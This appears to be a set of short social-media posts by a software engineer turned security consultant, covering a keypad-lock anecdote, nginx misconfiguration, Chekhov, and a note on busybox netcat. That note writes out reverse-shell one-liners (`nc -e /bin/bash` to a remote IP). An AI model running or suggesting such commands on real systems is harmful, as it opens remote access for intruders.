Remember when writing profiles about yourself was a cool thing to do? I did one a decade ago for graduating class in school and answered the field "What are you going to do next?" with "Web design or IT security I guess", but didn't expect both wishes to be granted...
In other words, I'm a Cyber Security Consultant now. This may or may not mean more #infosec content on here. Stay tuned!
Time for #introductions.
I'm a software engineer who went from backend to frontend development. I enjoy #lisp most, but have dabbled in too many to list. I speak 🇩🇪 🇬🇧 🇷🇺. Things fascinating me:
3 drunk hackers walk up to a parking house.
The postal key doesn't get them in anymore.
There's now an electronic lock with a numeric combination.
There's an information poster above the keypad, telling customers where on their subscription card their custom access code is.
There's an example card on the poster with an example code: 124567
*Drunk hacker keys in 124567*
*door buzzes open*
This is a nice guide to what can go wrong with a nginx config: https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/
The most problematic one is the interaction between PHP, nginx and user-uploaded files. I don't want to know how many pastebins got pwned by that configuration mistake...
I'm making progress with reading Chekhov's collected short stories, currently halfway through the first volume (ten more left to do) at a novella. I'm not sure whether it's an example of excessive story telling Russians are famous for or a parody thereof. It starts with injustice inflicted upon a street musician duo, their fateful encounter of a baron, an excessive backstory on his family, father and finally himself. Once he's given a chance to open his mouth, he naturally tells a fairy story, as tragic as his own. I still like it, you can get away with that kind of writing if the stories are interesting. I better be, sometimes I catch myself doing the same.
TIL that busybox netcat is super weird when it comes to option handling. Normally `nc -e /bin/bash 188.8.131.52 12345` will spawn that reverse shell, but busybox insists on `nc 184.108.40.206 12345 -e /bin/bash` instead. The reason for that behavior can be found in its microscopic source code: https://git.busybox.net/busybox/tree/networking/nc.c?id=c0961e09b200cbe4f243cbb588362904eaa1ce60#n134
I don't quite understand why you couldn't quote the command to be executed instead, but I guess it makes things easier to implement
> He then ran to his computer and started programming the idea. When he executed the solution and saw that it worked, he says he jumped all over the place. It is unclear whether he finished eating the Nutella bread.
Another nice one that fits just into that atmosphere: https://www.youtube.com/watch?v=gZgt1njN6BI
